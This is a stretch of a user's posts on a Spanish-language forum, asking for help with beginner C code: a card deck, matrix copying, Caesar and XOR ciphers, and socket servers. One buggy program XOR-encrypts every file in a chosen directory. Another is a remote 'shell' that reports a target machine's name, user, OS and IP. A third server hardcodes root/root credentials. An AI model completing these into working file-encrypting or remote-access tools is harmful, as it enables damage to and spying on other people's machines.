            mazo[k] = 10 ;
            crestantes[k] = 10 ;
            k++;
            cj++;
        }
        if(numal == 12 && cq<24){
            mazo[k] = 10 ;
            crestantes[k] = 10 ;
            k++;
            cq++;
        }
        if(numal == 13 && ck<24){
            mazo[k] = 10;
            crestantes[k] = 10;
            k++;
            ck++;
        }
        if(ca+c2+c3+c4+c5+c6+c7+c8+c9+c10+cj+cq+ck == 312){
            break;
        }
    }
    i=0;
    for(int j=0 ; j<=6 ; j++){
        for(int h=0 ; h<=52 ; h++){
            printf("%2i ", mazo[i]);
            i++;
        }
        printf("\n");
    }
}


Se que pedir código es de mal gusto pero me la e pensado mucho y no se me ocurre como hacerlo pero si alguien me puede ayudar con alguna idea de como hacerlo o con el código lo amaría. Gracias de antemano.

#22
Hola, la verdad últimamente e estado programando mucho de distintos temas pero me e quedado sin ideas para programar y queria saber si alguien conoce alguna pagina o cualquier cosa donde den ejercicios o desafíos de cualquier tema ya que como dije me e quedado sin ideas. Gracias de antemano
#23
Dudas y pedidos generales / Copiar una matriz en otra en c
Noviembre 30, 2018, 02:34:37 AM
La verdad me pasa algo muy raro es que copio una matriz en otra como lo e hecho siempre pero se copia mal dejo foto: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Como ven en la foto se copia bien las primeras 3 columnas pero la 4 copia la primera con un espacio corrido hacia abajo y después copia lo que esta en la 4 columna en la ultima sin razón(debe existir una razón pero no se cual es ), si alguien sabe porque pasa estaría agradecido voy a dejar el código.

Código: c
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <dirent.h>
#include <string.h>
#include <time.h>

int main(){

char *p=getenv("USER");
char frase[1024];

printf("  [>>] Entroduce un frase para cifrar.\n" );
printf("    %s~$ ",p );
scanf("%s", frase);

int clavei[3][3];
int subclave[3][43];
int rotword[3][0];

int x,y;
int nram;
int i,j;
int aux;

for(i=0 ; i<=3 ; i++){
for(j=0 ; j<=3 ; j++){
nram =  0 + rand() % ((255 + 0) - 0);
clavei[i][j] = nram;
printf("%x ,", clavei[i][j]);
}
j = 0;
printf("\n");
}
i = 0;
printf("------------------------------------------------------------------------------------------------------------------------------------------");
printf("\n");
for(i=0 ; i<=3 ; i++){
for(j=0 ; j<=43 ; j++){
subclave[i][j] = 0;
}
}
i = 0;
for(i=0 ; i<=3 ; i++){
for(j=0 ; j<=3 ; j++){
subclave[i][j] = clavei[i][j];
}
j = 0;
}
i = 0;

for(i=0 ; i<=3 ; i++){
for(j=0 ; j<=43 ; j++){
printf("%x ,", subclave[i][j]);
}
j = 0;
printf("\n");
}

printf("\n");
printf("  Adios :)\n");
return 0;
}
#24
Hola, tengo un pequeno problema que llevo mucho todo el dia tratando de solucionar.  Lo que pasa es que intento acceder a un directorio y me manda un error violación de segmento voy a dejar una foto:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Tambien ejecute el programa como "sudo ./xor" y tampoco funciona probablemente  sea un error pequeno pero de verdad no logro encontrar el porque.

Gracias de antemano.
Código: c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <dirent.h>
#include <string.h>
#include <errno.h>

void Direc();
void FileSize(char *fileN);
void Cifrar(char *fileN);

int main(){

Direc();
return 0;
}

void Cifrar(char *fileN){

char c;
int clave;

clave = rand()% 255 + 0;

FILE *file;
file = fopen(fileN, "rb+");

int i = 0;
while((c = fgetc(file)) != EOF){
fseek(file, i, SEEK_SET);
i++;
fputc((c ^ clave), file);
}
i = 0;
fclose(file);
printf("   Crifrado. \n");
}

void Direc(){

char *ndir;
char *p=getenv("USER");

printf(" [>>] Introduca el directorio: \n");
printf("  %s~$: ",p);
scanf("%s", ndir);
printf("%s\n",ndir);

DIR *dir;
struct dirent *ent;
dir = opendir(ndir);

if(dir == NULL){
printf("  [>>] Error al buscar el directorio \n");
}

while((ent = readdir(dir)) != NULL){
if((strcmp(ent->d_name, ".") != 0) && (strcmp(ent->d_name, "..") !=0) ){
}
FileSize(ent->d_name);
}
}

void FileSize(char *fileN){

long ftam = -1;
FILE *file;
file = fopen("fileN", "r");

if(file){
fseek(file, 0L, SEEK_END);
ftam = ftell(file);
fclose(file);
printf("%30s (%ld bytes)",fileN, ftam);
}
Cifrar(fileN);
}
#25
Hola, mi problema es que tengo un txt que dice "prueba1234567890" y el programa ( en C ) cifra dependiendo de la clave que le ponga, uso de llave 45, y cifra un carácter y otro no se salta y no se porque. Ejemplo:

prueba1234567890  ---> p]uXbO13579  | Eso muestra
prueba1234567890  ---> ]_XHOL             | Eso debería mostrar

No muestra los caracteres en los cuales se trasforman los numero pero es como una caja con 4 caracteres pequenos como 001c o  001f

Si se dan cuenta se salta un carácter al cifrar les voy a dejar el código si es que me pueden ayudar estaría muy agradecido

Código: c
#include <stdio.h>
#include <stdlib.h>
int main(){
int clave;
char c;
printf(" [>>] Introduca la clave de cifrado [0 - 255]\n");
scanf("%i",&clave);

FILE *file;
file = fopen("prueba.txt", "rb+");
while((c = fgetc(file)) != EOF){
fputc((c ^ clave), file);
}
fclose(file);
return 0;
}
#26
Hola, estoy estudiando cifrados y entre el cifrado XOR pero el problema es que no se como poder ver los cada bit y modificarlo de una frase o variable, si tiene algun link,video ,pdf o lo que sea donde expliquen como ver los bytes y editar los bit estaría muy agradecido, gracias de antemano.
#27
Hola tengo un problema que es muy simple, antes en C++ usaba el "cin.getline()" para guardar una string con espacios pero estoy haciendo un programa en C y no me guarda los espacios, quería ver si alguien me ayuda ya que creo que es bastante simple, gracias de antemano

Código: c
void CifradoCersar(){

char frase[1024];
char *p=getenv("USER");

int lfrase;
int n;
int dif;

printf("\n [>>] Cual la frase que quieres cifrar \n");
printf("  %s~$: ",p);
scanf("%s", frase);

printf("\n [>>] Cuantos espacios se corraran los digitos? \n");
printf("  %s~$: ",p);
scanf("%d", &n);

dif = 26 - n;
lfrase = strlen(frase);
/* UBYN */

int i;
while (i == lfrase ){
if(frase[i] + n > 'z'){
frase[i] = frase[i] - dif;
}
else{
frase[i] = frase[i] + n;
}
i++;
}

printf("\n   [>>] La frase cifrada es  : ");
printf("%s", frase);
i = 0;

while (frase[i] != '\0'){
if(frase[i] - n < 'a'){
frase[i] = frase[i] + dif;
}
else{
frase[i] = frase[i] - n;
}
i++;
}

printf("\n   [>>] La frase original es : ");
printf("%s\n",frase);

}
#28
Dudas y pedidos generales / Problema con sockets en c
Octubre 26, 2018, 12:28:26 AM
Hola, la verdad estoy haciendo un programa que la gracia es que me diga el nombre el pc, el user actual, el sistema operativo y la ip de donde se esta ejecutando el servidor pero no se porque no funciona, los mensajes no llegan. Ademas copie el codigo de otro servidor que estaba haciendo porque la primera parte es la misma. Esta hecho en Linux Ubuntu, si me pueden ayudar de verdad los amaria e estado todo el dia partiéndome la cabeza con esto.

servidor:
Código: c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/wait.h>

#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>

#define PUERTO 15560
#define MAXCLIENT 3


int shell(int sock_client, struct sockaddr_in client, struct sockaddr_in server);

int main(){

    fd_set rfds;        // Conjunto de descriptores a vigilar
   
    int sock_host;
    int sock_client;

    int childpid;
    int codigo_de_salida;
    int childcount = 0;
    int pidstatus;

    socklen_t longclient;
   
    sock_host = socket(AF_INET,SOCK_STREAM,0);
   
    struct sockaddr_in server, client;
    bzero((char *)&server, sizeof(server));
    server.sin_family       = AF_INET;
    server.sin_port         = htons(PUERTO);
    server.sin_addr.s_addr  = INADDR_ANY;

    struct timeval tv;
    tv.tv_sec = 0;
    tv.tv_usec = 500;    //Tiempo de espera
     
    if(bind(sock_host, (struct sockaddr *)&server, sizeof(server)) < 0){ //asignamos un puerto al socket
        printf("  [!!]Error al asociar el puerto a la conexion\n");
        close(sock_host);
        return 1;
    }

    if(listen(sock_host, 10) == -1){
        printf("  [!!]No se pude escuchar en el puerto seleccionado\n");
    }
   
    longclient = sizeof(client);
    while(free){

        //Selec se carga con el valor de rfds

        FD_ZERO(&rfds);
        FD_SET(sock_host, &rfds);

        if(select(sock_host+1, &rfds, NULL, NULL, &tv)){
            if(sock_client = accept(sock_host, (struct sockaddr *)&client, &longclient) != -1){

            printf("[>>] Conectando con %s\n", inet_ntoa(client.sin_addr));
                switch (childpid = fork()){
                    case -1:
                        printf("  [!!]Error al crear el thread\n");break;
                    case  0:
                        if(childcount < MAXCLIENT){
                        shell(sock_client, client, server);
                        }else{
                        printf("  [!!]Ya estas conectado");
                        }
                        break;
                    default:
                        childcount++;
                        close(sock_client);
                        break;
                }
            }else{
                printf("  [!!]Error al intentar aceptar la conexion\n");
            }
        }
        childpid = waitpid(0, &pidstatus, WNOHANG);

        if(childpid>0){
            childcount--;    //Acaba de desconectarse un cliente
        }
    }
    return 0;
}

int shell(int sock_client, struct sockaddr_in client, struct sockaddr_in server){

char comando[512];

char *pc = getenv("COMPUTERNAME");
char *user = getenv("USER");
char os[512] = "Aun no se hacer eso. \n";
char *ip = inet_ntoa(server.sin_addr);

sleep(1);

printf("  [>>] En la funcion shell\n");

write(sock_client, "    [>>] Listo para recivir informacion \n",42);

while(free){

bzero(comando, 512);
read(sock_client, comando, strlen(comando));
printf("%s",comando );

if(strncmp(comando, "info", 4) == 0){

printf("[>>] Enviando la informacion\n");

send(sock_client, pc, strlen(pc),0);
send(sock_client, user, strlen(user),0);
send(sock_client, os, strlen(os), 0);
send(sock_client, ip, strlen(ip),0);

}
}
return 0;
}


cliente:
Código: c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
     
#define BUFFSIZE 1
#define PUERTO 15560
     
int shell (int sock_client, struct sockaddr_in client);
     
int main(){
     
    char buffer[512];
    int sock_client;
    sock_client = socket(AF_INET,SOCK_STREAM,0);
     
    struct hostent *server;
    server = gethostbyname("localhost");
     
    struct sockaddr_in client;
    bzero((char *)&client, sizeof(client));
    client.sin_family       = AF_INET;
    client.sin_port         = htons(PUERTO);
    client.sin_addr     = *((struct in_addr *)server->h_addr);
     
    if(connect(sock_client,(struct sockaddr *)&client, sizeof(client)) < 0){
        printf("Error al conectar con el host\n");
        return 1;
    }

    printf("[>>] Conectando con %s",inet_ntoa(client.sin_addr));
    printf("\n");
   
    read(sock_client, buffer, 512);

    shell(sock_client, client);
printf("%s", buffer);
}

int shell(int sock_client, struct sockaddr_in client){

char command[512];

char help[512] = "help";
char close[512] = "close";
char info[512] = "info";
char clear[512] = "clear";
char HELP[1024] = "\n  [HELP MENU] \n    [HELP - Muestra este menu]\n    [Close - Cierra el menu]\n    [Info - Muestra informacion del target]\n    [Clear - Limpea la terminal ]\n\n";

char PC[512];
char USER[512];
char OS[512];
char IP[512];

char *p = getenv("USER");
printf(" [>>] Sesion de Shell iniciada. \n");
read(sock_client, command, 512);
printf("%s", command );

while(free){
printf("   %s@%s:~$ ",p , inet_ntoa(client.sin_addr));
bzero(command, 512);
fgets(command, 512 , stdin);

write(sock_client, command, 512);
printf("%s", command);

if(strncmp(command,help,4) == 0){
printf("%s",HELP);
}
if(strncmp(command,close,5) == 0){
write(sock_client, close , strlen(close));
printf("[>>] Cerrardo... \n");
exit(1);
}
if(strncmp(command,info,4) == 0){
printf("    [>>]Esperando la informacion. \n");

read(sock_client, PC,   512);
read(sock_client, USER, 512);
read(sock_client, OS,   512);
read(sock_client, IP,   512);

printf("      El PC es    -- %s\n", PC    );
printf("      El USER es  -- %s\n", USER  );
printf("      El OS es    -- %s\n", OS    );
printf("      la IP es    -- %s\n\n", IP  );

}
if(strncmp(command,clear,5) == 0){
system("clear");
}
}
return 0;
}

#29
La verdad instale kali linux para hacer una cosita y al final lo deje instalado porque es comodo de uso normal, y como ahora lo uso de forma normal queria jugar lol y instale wine y uso lutris para instalarlo pero al iniciar la partida me tira bug splat, busque la solucion como si fuera debian pero tampoco funciona, se que el tema es algo random pero igual si alguien sabe la solucion seria de mucha ayuda
#30
Dudas y pedidos generales / Servidor FTP en C
Octubre 21, 2018, 07:04:02 PM
Hola, la verdad es que quiero hacer un servidor ftp y tengo un pc viejo para hosterar. Programe un cliente y servidor por sockets, pero quiero poder almacenar archivos en el servidor . Se que existe FireZilla pero quiero hacer todo desde 0 para poder entender mas del tema, si alguien me puede guiar con el tema seria de mucha ayuda, gracias de antemano y disculpa por preguntar lo mismo tantas veces. voy a dejar el código del servidor (Todo esta hecho en linux, creo que es importante aclarar eso)

Código: c
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>

#define PUERTO     2000
int main(){
    socklen_t longc;
    int socket_host;
    int socket_cliente;

    char buffer[512];

    socket_host = socket(AF_INET, SOCK_STREAM,0);

    struct sockaddr_in servidor, cliente;
    bzero((char * )&servidor, sizeof(servidor));

    servidor.sin_family = AF_INET;
    servidor.sin_port   = htons(PUERTO);
    servidor.sin_addr.s_addr = INADDR_ANY; 

    if(bind(socket_host,(struct sockaddr *)&servidor, sizeof(servidor)) == -1){
        printf("Error en el bind\n");
        return 1;
    }
    printf("Direccion %s:%d\n", inet_ntoa(servidor.sin_addr), htons(PUERTO));
    listen(socket_host, 2);

    while(free){
        longc = sizeof(cliente); // TAMANO DE LA ESTRUCTURA CLIENTE
        socket_cliente = accept(socket_host,(struct sockaddr *)&cliente, &longc);
        printf("Escuchando en el puerto %d\n", ntohs(cliente.sin_port));

        recv(socket_cliente,buffer,512,0);
        printf("%s",buffer);
        send(socket_cliente,"listo\n",7,0);
    }
    return 0;
}
#31
Hola, la cosa es que quería hacer en C un  servidor en el que pudiera descargar o subir archivos desde la terminal de linux o desde un cliente que yo programara  o desde Internet y que apareciera asi "127.0.0.1:8080/archivo". Tambien creo que es importante decir que todo esto esta hecho en Linux . Por Internet encontré programas que hacen ftp servers como FileZilla y que solo necesitas programar el cliente para el servidor, pero lo que quiero hacer es programar el servidor desde 0 para poder entender mas sobre el tema y después programar el cliente y hacer mas cosas con el. Voy a dejar el código del servidor que e programado. De todas formas gracias de antemano.

Código: c

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/sendfile.h>               //Sirve para poder enviar archivos
#include <sys/types.h>                  //Sirve para poder recivir archivos
#include <linux/if_packet.h>
#include <net/if.h>                     // Cliente en cuention
     
#define BUFFSIZE 1
#define ERROR -1
#define BUFFERSIZE 512

// Funciones //
     
int login(int socket_cliente);
void direccip(int socket_cliente, struct sockaddr_in addr);
void salir(int socket_servidor, int socket_cliente);
void enviar(int socket_cliente, FILE* archivo);
int intentos = 0;
     
int main(){

    int socket_servidor;            //Socket del servidor para escuchar mensajes
    int socket_cliente;             //Socket del cliente para enviar mesajes
    int puerto = 8080;                //Numero de puerto en /etc/service
    char BUFFER[BUFFERSIZE];        //Mensaje para usar los comandos

    socket_servidor = socket(AF_INET, SOCK_STREAM, 0);
    socklen_t longc;

   // Declaracion de las escructuras;
    struct sockaddr_in servidor, cliente;                   //Creamos las estructuras del cliente y servidor al mismo tiempo
    bzero((char *)&servidor, sizeof(servidor));             //Primero llenamos de 0's la struct
    servidor.sin_family = AF_INET;                          //Asiganamos la estructura
    servidor.sin_port = htons(puerto);                      //Indicamos el puerto
    servidor.sin_addr.s_addr = INADDR_ANY;                  //Esta macro especifica nuestra direccion
     
    if(bind(socket_servidor, (struct sockaddr *)&servidor, sizeof(servidor)) < 0){ //asignamos un puerto al socket
        printf("Error al asociar el puerto a la conexion\n");
        return 1;
    }
           
    listen(socket_servidor,3);                              //Escuchamos por este puero maximo 2 clientes distintos
    while(free){
        intentos = 0;
        printf("Escuchando en el puerto %d\n", ntohs(servidor.sin_port));
        longc = sizeof(cliente);                                //Asignamos el tamano de la estructura a esta variable
        socket_cliente = accept(socket_servidor, (struct sockaddr *)&cliente, &longc); // Esperamos una conexion
        if(socket_cliente == -1){
            printf("Error en al conexion\n");
         return 1;
        }
        printf("Conectando con %s:%d\n",inet_ntoa(cliente.sin_addr),htons(cliente.sin_port));
     
    //Login con el servidor
        int conexion = login(socket_cliente);
        printf("\n");
        if(conexion == 1){
            while(free){
                bzero(BUFFER, BUFFERSIZE);
                recv(socket_cliente,BUFFER,50,0);
                if(strncmp(BUFFER,"IP",2) == 0){
                    direccip(socket_cliente, cliente);
                }
                if(strncmp(BUFFER,"EXIT", 4) == 0){
                    salir(socket_servidor, socket_cliente);
                }
            }
        }
    }
}

int login(int socket_cliente){
           
    char user[8];
    char pass[8];

    if(intentos == 3){
        close(socket_cliente);
        return 0;
    }

    memset(user,0 , 8);
    memset(pass,0 , 8);
    printf("%i",intentos );
    printf("\n");

     
    send(socket_cliente,"Usuario: ",10,0);
    read(socket_cliente,user,9);
    send(socket_cliente, "Contrasena: ", 12, 0);
    read(socket_cliente, pass, 8);
     
    if(strncmp(user, "root",4) == 0){
        if(strncmp(pass, "root",4) == 0){
            send(socket_cliente,"Bienvenido\n",12,0);
        }else{
            send(socket_cliente,"ERROR\n",7,0);
            intentos = intentos + 1;
            login(socket_cliente);
        }
    }else{
        send(socket_cliente,"ERROR\n",7,0);
        intentos = intentos + 1;
        login(socket_cliente);
    }
}
     
void direccip(int socket_cliente, struct sockaddr_in addr){
    write(socket_cliente, "Tu eres: ",9);
    write(socket_cliente, inet_ntoa(addr.sin_addr), 16);
    write(socket_cliente,"\n",2);
}

void salir(int socket_servidor, int socket_cliente){
    write(socket_cliente, "ADIOS ;)\n", 10);
    close(socket_cliente);
}

#32
Tengo programado un servidor con protocolo tpc/ip y se puede conectar por telnet de lo mas bien. Pero quiero tambien que se pueden subir y bajar archivos del servidor y la verdad no se de eso, pero la gracias es que sea solo usando el comando telnet o ftp de la terminal de linux pero si no se puede de esa forma tendré que programar el cliente. gracias de antemano.
#33
Hola, hace unos días estaba haciendo un servidor y la cosa es que en la parte donde se tiene que logear para quiero hacer que si alguien escribe mas las pass con el user lo expulse después de una cantidad de intentos pero no se expulsar a un cliente si alguien me podría ayudar todo esta escrito en c con linux, es primera vez que me meto con el temas de sockets por eso la ignorancia , de todas formas gracias de antemano.